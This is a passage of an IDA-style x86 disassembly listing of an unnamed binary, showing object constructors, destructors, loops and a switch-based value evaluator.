		lea	eax, [edi+0Ch]
		push	eax
		call	sub_69B17320
		push	dword ptr [esi+10h]
		lea	eax, [edi+10h]
		push	eax
		call	sub_69B17320
		mov	esi, [esi+8]
		mov	eax, esi
		sub	eax, 6
		neg	eax
		sbb	eax, eax
		and	eax, esi
		mov	[edi+8], eax
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B6BAF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BBBC	proc near		; DATA XREF: .text:69B13E24o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	edi, eax
		mov	eax, [esi+28h]
		lea	ecx, [eax+10h]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+8Ch]
		mov	eax, [esi+28h]
		push	[esp+8+arg_0]
		lea	ecx, [eax+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+7Ch]
		mov	ecx, eax
		add	eax, 0FFFFFFF0h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		lea	eax, [edi+38h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+28h]
		push	dword ptr [esi+4]
		lea	ecx, [eax+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+8Ch]
		mov	al, [esi+3Ch]
		mov	[edi+4Ch], al
		mov	ecx, [esi+2Ch]
		push	dword ptr [ecx+8]
		call	sub_69B6B945
		push	eax
		lea	eax, [edi+3Ch]
		push	eax
		call	sub_69B17320
		lea	eax, [esi+34h]
		push	eax
		lea	ecx, [edi+44h]
		call	sub_69B4D414
		mov	eax, [edi+4Ch]
		xor	eax, [esi+3Ch]
		and	eax, 30000h
		xor	[edi+4Ch], eax
		lea	eax, [edi+10h]
		pop	edi
		pop	esi
		retn	4
sub_69B6BBBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BC54	proc near		; CODE XREF: sub_69B6C11D+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		xor	ebx, ebx
		push	ebx
		push	[esp+14h+arg_0]
		mov	esi, ecx
		call	sub_69B6D314
		push	[esp+0Ch+arg_4]
		mov	dword ptr [esi], offset	off_69B13EA0
		push	[esp+10h+arg_0]
		mov	dword ptr [esi+8], offset off_69B13E40
		mov	dword ptr [esi+10h], offset off_69B13DA8
		lea	edi, [esi+38h]
		mov	[edi], ebx
		mov	[esi+3Ch], ebx
		mov	[esi+40h], ebx
		mov	[esi+44h], ebx
		call	sub_69B664E8
		push	eax
		push	edi
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B6BC54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BCA7	proc near		; DATA XREF: .text:69B13E4Co

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B6C0BB
sub_69B6BCA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BCAF	proc near		; DATA XREF: .text:69B13E5Co
		sub	ecx, 8
		jmp	sub_69B6B853
sub_69B6BCAF	endp

; ---------------------------------------------------------------------------


loc_69B6BCB7:				; DATA XREF: .text:69B13DB4o
		sub	ecx, 10h
		jmp	sub_69B6C0BB
; ---------------------------------------------------------------------------


loc_69B6BCBF:				; DATA XREF: .text:69B13DC4o
		sub	ecx, 10h
		jmp	sub_69B6B853

; =============== S U B	R O U T	I N E =======================================



sub_69B6BCC7	proc near		; DATA XREF: .text:69B13E74o
		sub	ecx, 8
		jmp	sub_69B6B983
sub_69B6BCC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BCCF	proc near		; DATA XREF: .text:69B13DDCo
		sub	ecx, 10h
		jmp	sub_69B6B983
sub_69B6BCCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BCD7	proc near		; DATA XREF: .text:69B13E20o

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B6BAF2
		lea	eax, [esi-10h]
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn	4
sub_69B6BCD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6BCF3	proc near		; CODE XREF: sub_69B6C134+Cp

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		test	byte ptr [esi+4Eh], 3
		mov	[ebp+var_2C], edi
		mov	[ebp+var_28], 0
		jnz	loc_69B6BDE7
		mov	ecx, [esi+18h]
		cmp	ecx, edi
		mov	[ebp+var_8], edi
		jz	short loc_69B6BD26
		mov	eax, [ecx]
		push	0FFFFFFFFh
		push	edi
		call	dword ptr [eax+4]
		mov	[ebp+var_8], eax


loc_69B6BD26:				; CODE XREF: sub_69B6BCF3+26j
		test	dword ptr [esi+4Ch], 0FFh
		mov	[ebp+var_4], edi
		jbe	loc_69B6BDD7


loc_69B6BD36:				; CODE XREF: sub_69B6BCF3+DEj
		push	[ebp+var_4]
		mov	ecx, [esi+3Ch]
		call	sub_69B6B88B
		mov	ebx, eax
		mov	edi, [ebx+0Ch]
		test	edi, edi
		mov	[ebp+var_C], ebx
		jz	short loc_69B6BD7E
		mov	ebx, [edi]
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	eax
		push	[ebp+var_8]
		mov	ecx, edi
		push	dword ptr [esi+18h]
		call	dword ptr [ebx+54h]
		mov	eax, [ebp+var_24]
		cmp	dword ptr [eax+8], 0
		jz	short loc_69B6BD77
		push	eax
		call	sub_69B6FF03
		jmp	short loc_69B6BD79
; ---------------------------------------------------------------------------


loc_69B6BD77:				; CODE XREF: sub_69B6BCF3+7Aj
		xor	al, al


loc_69B6BD79:				; CODE XREF: sub_69B6BCF3+82j
		mov	ebx, [ebp+var_C]
		jmp	short loc_69B6BD81
; ---------------------------------------------------------------------------


loc_69B6BD7E:				; CODE XREF: sub_69B6BCF3+58j
		mov	al, [ebx+4]


loc_69B6BD81:				; CODE XREF: sub_69B6BCF3+89j
		mov	[ebx+14h], al
		mov	eax, [ebx+10h]
		test	eax, eax
		mov	[ebp+var_C], eax
		jz	short loc_69B6BDBD
		mov	edi, [eax]
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ecx, [ebp+var_C]
		push	eax
		push	[ebp+var_8]
		push	dword ptr [esi+18h]
		call	dword ptr [edi+54h]
		mov	eax, [ebp+var_24]
		cmp	dword ptr [eax+8], 0
		jz	short loc_69B6BDB9
		push	eax
		call	sub_69B6FFC1
		jmp	short loc_69B6BDC0
; ---------------------------------------------------------------------------


loc_69B6BDB9:				; CODE XREF: sub_69B6BCF3+BCj
		xor	eax, eax
		jmp	short loc_69B6BDC0
; ---------------------------------------------------------------------------


loc_69B6BDBD:				; CODE XREF: sub_69B6BCF3+99j
		mov	eax, [ebx+8]


loc_69B6BDC0:				; CODE XREF: sub_69B6BCF3+C4j
					; sub_69B6BCF3+C8j
		inc	[ebp+var_4]
		mov	[ebx+18h], eax
		mov	eax, [esi+4Ch]
		and	eax, 0FFh
		cmp	[ebp+var_4], eax
		jb	loc_69B6BD36


loc_69B6BDD7:				; CODE XREF: sub_69B6BCF3+3Dj
		mov	eax, [esi+4Ch]
		and	eax, 0FFFDFFFFh
		or	eax, 10000h
		mov	[esi+4Ch], eax


loc_69B6BDE7:				; CODE XREF: sub_69B6BCF3+18j
		mov	al, [esi+4Eh]
		and	al, 3
		cmp	al, 1
		jnz	loc_69B6BFC2
		mov	ecx, [esi+18h]
		mov	eax, [esi+38h]
		mov	[ebp+var_18], ecx
		lea	ecx, [eax+10h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	[ebp+var_1C], offset off_69B6BFE0
		mov	[ebp+var_14], eax
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	[ebp+var_4], eax
		mov	eax, [esi+38h]
		push	[ebp+var_4]
		lea	ecx, [eax+10h]
		push	dword ptr [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+88h]
		cmp	[ebp+var_4], 0
		mov	[ebp+var_8], eax
		jz	loc_69B6BF59


loc_69B6BE39:				; CODE XREF: sub_69B6BCF3+260j
		lea	ebx, [esi+40h]
		cmp	dword ptr [ebx], 0
		jnz	loc_69B6BF20
		mov	eax, [esi+4Ch]
		and	eax, 0FFh
		imul	eax, [ebp+var_8]
		push	eax
		push	10h
		call	sub_69B11CFE
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_69B6BE70
		mov	ecx, edi
		call	sub_69B19118
		mov	dword ptr [edi], offset	off_69B13908
		jmp	short loc_69B6BE72
; ---------------------------------------------------------------------------


loc_69B6BE70:				; CODE XREF: sub_69B6BCF3+16Cj
		xor	edi, edi


loc_69B6BE72:				; CODE XREF: sub_69B6BCF3+17Bj
		push	edi
		push	ebx
		call	sub_69B17320
		jmp	loc_69B6BF20
; ---------------------------------------------------------------------------


loc_69B6BE7E:				; CODE XREF: sub_69B6BCF3+23Bj
		movzx	eax, byte ptr [esi+4Dh]
		mov	ecx, [esi+3Ch]
		push	eax
		call	sub_69B6B88B
		push	dword ptr [esi+48h]
		mov	ecx, [esi+40h]
		mov	edi, eax
		mov	eax, [edi+18h]
		mov	[ebp+var_10], eax
		call	sub_69B171A0
		mov	byte ptr [eax+4], 1
		mov	ecx, [edi]
		mov	edx, [ecx]
		mov	[ebp+var_C], eax
		mov	eax, [esi+38h]
		lea	ebx, [ebp+var_2C]
		push	ebx
		push	[ebp+var_4]
		mov	ebx, eax
		add	eax, 10h
		neg	ebx
		sbb	ebx, ebx
		and	ebx, eax
		push	ebx
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword ptr [edx+54h]
		cmp	dword ptr [esi+0Ch], 2
		jnz	short loc_69B6BF0A
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B6BF1A
		cmp	dword ptr [edi+18h], 0
		jnz	short loc_69B6BEF4
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0E0h]
		mov	eax, dword_69B9A0E0[eax*4]
		mov	[edi+18h], eax


loc_69B6BEF4:				; CODE XREF: sub_69B6BCF3+1EBj
		push	[ebp+var_C]
		mov	ecx, [edi+18h]
		push	dword_69B99D00[ecx*4]
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+54h]
		jmp	short loc_69B6BF1A
; ---------------------------------------------------------------------------


loc_69B6BF0A:				; CODE XREF: sub_69B6BCF3+1D7j
		push	1
		push	[ebp+var_C]
		lea	ecx, [ebp+var_2C]
		push	[ebp+var_10]
		call	sub_69B64008


loc_69B6BF1A:				; CODE XREF: sub_69B6BCF3+1E5j
					; sub_69B6BCF3+215j
		inc	byte ptr [esi+4Dh]
		inc	dword ptr [esi+48h]


loc_69B6BF20:				; CODE XREF: sub_69B6BCF3+14Cj
					; sub_69B6BCF3+186j
		mov	eax, [esi+4Ch]
		movzx	ecx, byte ptr [esi+4Dh]
		and	eax, 0FFh
		cmp	ecx, eax
		jb	loc_69B6BE7E
		mov	ecx, [esi+38h]
		add	ecx, 10h
		mov	byte ptr [esi+4Dh], 0
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	ecx, [esi+38h]
		add	ecx, 10h
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	loc_69B6BE39


loc_69B6BF59:				; CODE XREF: sub_69B6BCF3+140j
		mov	edi, [ebp+var_8]
		inc	edi
		lea	eax, ds:10h[edi*4]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], edi
		call	sub_69B19118
		push	ebx
		lea	edi, [esi+44h]
		push	edi
		mov	dword ptr [ebx], offset	off_69B13D68
		call	sub_69B17320
		xor	ebx, ebx


loc_69B6BF88:				; CODE XREF: sub_69B6BCF3+2A3j
		mov	ecx, [edi]
		push	ebx
		call	sub_69B1A954
		mov	[eax], ebx
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_69B6BF88
		cmp	byte ptr [esi+4Ch], 0
		jz	short loc_69B6BFB7
		mov	eax, [edi]
		push	offset sub_69B6BA3F
		push	4
		push	[ebp+var_8]
		add	eax, 0Ch
		push	eax
		push	esi
		call	sub_69B6DBB2
		add	esp, 14h


loc_69B6BFB7:				; CODE XREF: sub_69B6BCF3+2A9j
		push	0
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320


loc_69B6BFC2:				; CODE XREF: sub_69B6BCF3+FBj
		mov	eax, [esi+4Ch]
		and	eax, 0FFFEFFFFh
		or	eax, 20000h
		lea	ecx, [ebp+var_2C]
		mov	[esi+4Ch], eax
		call	sub_69B466CC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B6BCF3	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B6BFE0	dd offset loc_69B6B8B5	; DATA XREF: sub_69B6BCF3+113o
		dd offset loc_69B6B8DC
		dd offset sub_69B6B8AD
		dd offset sub_69B714C3
		dd offset sub_69B714CB
		dd offset nullsub_7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6BFF8	proc near		; CODE XREF: sub_69B62FFC+55p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_14], eax
		mov	al, [ebp+arg_4]
		mov	[ebp+var_10], al
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, esi
		call	sub_69B6BAF2
		pop	esi
		leave
		retn	0Ch
sub_69B6BFF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C030	proc near		; DATA XREF: .text:69B13D64o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B6C040
		retn	8
sub_69B6C030	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C040	proc near		; CODE XREF: sub_69B6C030+8p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	dword ptr [edi]
		mov	esi, ecx
		push	esi
		call	sub_69B17320
		mov	al, [edi+4]
		mov	[esi+4], al
		mov	eax, [edi+8]
		mov	[esi+8], eax
		push	dword ptr [edi+0Ch]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	dword ptr [edi+10h]
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		mov	al, [edi+14h]
		mov	[esi+14h], al
		mov	eax, [edi+18h]
		mov	[esi+18h], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6C040	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C087	proc near		; CODE XREF: sub_69B6C105+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B13EA0
		mov	dword ptr [esi+8], offset off_69B13E40
		mov	dword ptr [esi+10h], offset off_69B13DA8
		mov	[esi+38h], eax
		mov	[esi+3Ch], eax
		mov	[esi+40h], eax
		mov	[esi+44h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6C087	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C0BB	proc near		; CODE XREF: sub_69B6BCA7+3j
					; .text:69B6BCBAj
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B6C0D6
		test	[esp+4+arg_0], 1
		jz	short loc_69B6C0D0
		push	esi
		call	sub_69B1829F


loc_69B6C0D0:				; CODE XREF: sub_69B6C0BB+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6C0BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C0D6	proc near		; CODE XREF: sub_69B6C0BB+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B6C0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C105	proc near		; DATA XREF: .text:69B6B860o
		push	50h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6C11A
		push	0
		mov	ecx, eax
		call	sub_69B6C087
		retn
; ---------------------------------------------------------------------------


loc_69B6C11A:				; CODE XREF: sub_69B6C105+9j
		xor	eax, eax
		retn
sub_69B6C105	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C11D	proc near		; CODE XREF: sub_69B639EB+3Ep
					; sub_69B6CF3A+16p
		push	50h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6C12F
		mov	ecx, eax
		jmp	sub_69B6BC54
; ---------------------------------------------------------------------------


loc_69B6C12F:				; CODE XREF: sub_69B6C11D+9j
		xor	eax, eax
		retn	8
sub_69B6C11D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C134	proc near		; DATA XREF: .text:69B13EE4o
		push	esi
		mov	esi, ecx
		mov	al, [esi+4Eh]
		and	al, 3
		cmp	al, 2
		jz	short loc_69B6C145
		call	sub_69B6BCF3


loc_69B6C145:				; CODE XREF: sub_69B6C134+Aj
		mov	eax, [esi+2Ch]
		mov	ecx, [esi+44h]
		mov	esi, [esi+38h]
		push	eax
		call	sub_69B1A954
		mov	eax, [eax]
		mov	ecx, [esi+38h]
		push	eax
		call	sub_69B1A954
		mov	eax, [eax]
		pop	esi
		retn
sub_69B6C134	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C163	proc near		; DATA XREF: .text:69B13D5Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B6C182
		push	ebx
		mov	ebx, eax


loc_69B6C174:				; CODE XREF: sub_69B6C163+1Cj
		mov	ecx, edi
		call	sub_69B6C18B
		add	edi, 1Ch
		dec	ebx
		jnz	short loc_69B6C174
		pop	ebx


loc_69B6C182:				; CODE XREF: sub_69B6C163+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6C163	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C18B	proc near		; CODE XREF: sub_69B6C163+13p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B6C18B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C1A8	proc near		; CODE XREF: sub_69B6C1E9+Bj
					; DATA XREF: .text:69B15D04o
		mov	eax, offset off_69B6C1B0
		retn
sub_69B6C1A8	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B6C1B0	dd offset off_69B29C74	; DATA XREF: sub_69B6C1A8o
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B6C1B8	proc near		; DATA XREF: .text:69B15CD4o
		cmp	dword ptr [ecx+8], 0Ah
		push	esi
		mov	esi, 300h
		jnz	short loc_69B6C1C6
		xor	esi, esi


loc_69B6C1C6:				; CODE XREF: sub_69B6C1B8+Aj
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		cmp	eax, 3
		jz	short loc_69B6C1D4
		test	eax, eax
		jnz	short loc_69B6C1DA


loc_69B6C1D4:				; CODE XREF: sub_69B6C1B8+16j
		and	esi, 0FFFFFDFFh


loc_69B6C1DA:				; CODE XREF: sub_69B6C1B8+1Aj
		mov	eax, esi
		pop	esi
		retn
sub_69B6C1B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C1DE	proc near		; DATA XREF: .text:69B15CC4o
		mov	eax, [ecx+8]
		mov	eax, dword_69B9A3F8[eax*4]
		retn
sub_69B6C1DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6C1E9	proc near		; DATA XREF: .text:69B15C94o

arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	ecx, 8
		jmp	loc_69B6C750
; ---------------------------------------------------------------------------


loc_69B6C1F1:				; DATA XREF: .text:69B15CA4o
		sub	ecx, 8
		jmp	short sub_69B6C1A8
; ---------------------------------------------------------------------------


loc_69B6C1F6:				; CODE XREF: sub_69B6C1E9+562j
					; DATA XREF: .text:69B15D1Co
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
; ---------------------------------------------------------------------------


loc_69B6C217:				; DATA XREF: .text:69B15CD8o
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	dword ptr [ebp-10h], 0
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		lea	ecx, [ebp-10h]
		push	ecx
		push	dword ptr [ebp+10h]
		mov	ecx, esi
		push	dword ptr [ebp+0Ch]
		mov	byte ptr [ebp-0Ch], 0
		push	dword ptr [ebp+8]
		call	dword ptr [eax+54h]
		cmp	dword ptr [esi+4], 2
		jnz	short loc_69B6C24C
		xor	eax, eax
		cmp	[ebp-10h], eax
		setnz	al
		jmp	short loc_69B6C26B
; ---------------------------------------------------------------------------


loc_69B6C24C:				; CODE XREF: sub_69B6C1E9+57j
		push	1
		lea	eax, [ebp-10h]
		push	eax
		push	1
		lea	ecx, [ebp-10h]
		call	sub_69B64008
		cmp	dword ptr [ebp-10h], 1
		jz	short loc_69B6C267
		or	eax, 0FFFFFFFFh
		jmp	short loc_69B6C26B
; ---------------------------------------------------------------------------


loc_69B6C267:				; CODE XREF: sub_69B6C1E9+77j
		movzx	eax, byte ptr [ebp-8]


loc_69B6C26B:				; CODE XREF: sub_69B6C1E9+61j
					; sub_69B6C1E9+7Cj
		lea	ecx, [ebp-10h]
		mov	esi, eax
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B6C27C:				; DATA XREF: .text:69B15CDCo
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	edi, ecx
		cmp	dword ptr [edi+8], 0Ch
		jnz	loc_69B6C364
		mov	edi, [edi+10h]
		test	edi, edi
		jz	loc_69B6C57B
		and	dword ptr [ebp-10h], 0
		lea	ecx, [ebp-10h]
		push	ecx
		push	dword ptr [ebp+10h]
		mov	byte ptr [ebp-0Ch], 0
		push	dword ptr [ebp+0Ch]
		mov	eax, [edi]
		push	dword ptr [ebp+8]
		mov	ecx, edi
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp-10h]
		push	eax
		push	5
		lea	ecx, [ebp-10h]
		call	sub_69B64008
		cmp	dword ptr [ebp-10h], 5
		jnz	loc_69B6C357
		push	off_69B9A3E8	; lpString
		mov	ecx, [ebp-8]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6C2F6
		fld	dbl_69B9A3D0


loc_69B6C2E8:				; CODE XREF: sub_69B6C1E9+125j
		mov	eax, [ebp+14h]
		fstp	qword ptr [eax+8]
		mov	dword ptr [eax], 3
		jmp	short loc_69B6C357
; ---------------------------------------------------------------------------


loc_69B6C2F6:				; CODE XREF: sub_69B6C1E9+F7j
		push	off_69B9A3EC	; lpString
		mov	ecx, [ebp-8]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6C310
		fld	dbl_69B9A3D8
		jmp	short loc_69B6C2E8
; ---------------------------------------------------------------------------


loc_69B6C310:				; CODE XREF: sub_69B6C1E9+11Dj
		push	off_69B9A3F0	; lpString
		mov	ecx, [ebp-8]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6C32A
		push	off_69B9A3E0
		jmp	short loc_69B6C342
; ---------------------------------------------------------------------------


loc_69B6C32A:				; CODE XREF: sub_69B6C1E9+137j
		push	off_69B9A3F4	; lpString
		mov	ecx, [ebp-8]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6C34A
		push	off_69B9A3E4	; lpString


loc_69B6C342:				; CODE XREF: sub_69B6C1E9+13Fj
		call	sub_69B1A587
		push	eax
		jmp	short loc_69B6C34F
; ---------------------------------------------------------------------------


loc_69B6C34A:				; CODE XREF: sub_69B6C1E9+151j
		push	offset off_69B1A5AC


loc_69B6C34F:				; CODE XREF: sub_69B6C1E9+15Fj
		mov	ecx, [ebp+14h]
		call	sub_69B48684


loc_69B6C357:				; CODE XREF: sub_69B6C1E9+E1j
					; sub_69B6C1E9+10Bj
		lea	ecx, [ebp-10h]
		call	sub_69B466CC
		jmp	loc_69B6C57B
; ---------------------------------------------------------------------------


loc_69B6C364:				; CODE XREF: sub_69B6C1E9+A0j
		mov	ecx, [edi+0Ch]
		test	ecx, ecx
		push	ebx
		push	esi
		jz	short loc_69B6C38C
		mov	eax, [ecx]
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		call	dword ptr [eax+48h]
		mov	ecx, [edi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	esi, [edi+0Ch]
		mov	ebx, eax
		mov	[ebp+10h], ebx
		jmp	short loc_69B6C392
; ---------------------------------------------------------------------------


loc_69B6C38C:				; CODE XREF: sub_69B6C1E9+182j
		mov	ebx, [ebp+10h]
		mov	esi, [ebp+0Ch]


loc_69B6C392:				; CODE XREF: sub_69B6C1E9+1A1j
		test	ebx, ebx
		jnz	short loc_69B6C3A0
		cmp	dword ptr [edi+8], 6
		jnz	loc_69B6C579	; default


loc_69B6C3A0:				; CODE XREF: sub_69B6C1E9+1ABj
		mov	eax, [edi+8]
		dec	eax
		cmp	eax, 0Ah	; switch 11 cases
		ja	loc_69B6C579	; default
		jmp	ds:off_69B6C580[eax*4] ; switch	jump


loc_69B6C3B4:				; DATA XREF: sub_69B6C1E9:off_69B6C580o
		mov	eax, [ebx]	; jumptable 69B6C3AD case 0
		push	0
		push	4
		mov	ecx, ebx
		call	dword ptr [eax+4Ch]
		jmp	loc_69B6C54F
; ---------------------------------------------------------------------------


loc_69B6C3C4:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		push	dword ptr [ebp+14h] ; jumptable	69B6C3AD case 1
		mov	esi, [ebx]
		mov	ecx, ebx
		call	dword ptr [esi+0E0h]
		push	eax
		mov	ecx, ebx
		call	dword ptr [esi+54h]
		jmp	loc_69B6C579	; default
; ---------------------------------------------------------------------------


loc_69B6C3DC:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		mov	eax, [ebx]	; jumptable 69B6C3AD case 2
		mov	ecx, ebx
		call	dword ptr [eax+44h]
		push	eax
		call	sub_69B3FC4B
		mov	[ebp+8], eax
		fild	dword ptr [ebp+8]
		jmp	loc_69B6C4F4
; ---------------------------------------------------------------------------


loc_69B6C3F4:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		mov	eax, [ebx]	; jumptable 69B6C3AD case 3
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jnz	loc_69B6C548
		cmp	dword ptr [edi+4], 1
		jnz	loc_69B6C579	; default


loc_69B6C40D:				; CODE XREF: sub_69B6C1E9+322j
					; sub_69B6C1E9+32Dj ...
		push	offset off_69B1A5AC
		jmp	loc_69B6C550
; ---------------------------------------------------------------------------


loc_69B6C417:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		test	esi, esi	; jumptable 69B6C3AD case 4
		jz	loc_69B6C579	; default
		mov	eax, [esi]
		push	ebx
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	dword ptr [eax+54h]
		mov	[ebp+8], eax
		fild	dword ptr [ebp+8]
		jmp	loc_69B6C4F4
; ---------------------------------------------------------------------------


loc_69B6C435:				; CODE XREF: sub_69B6C1E9+1C4j
					; DATA XREF: sub_69B6C1E9:off_69B6C580o
		test	esi, esi	; jumptable 69B6C3AD case 8
		jz	loc_69B6C579	; default
		mov	eax, [esi]
		push	ebx
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	dword ptr [eax+54h]
		inc	eax
		mov	[ebp+8], eax
		fild	dword ptr [ebp+8]
		jmp	loc_69B6C4F4
; ---------------------------------------------------------------------------


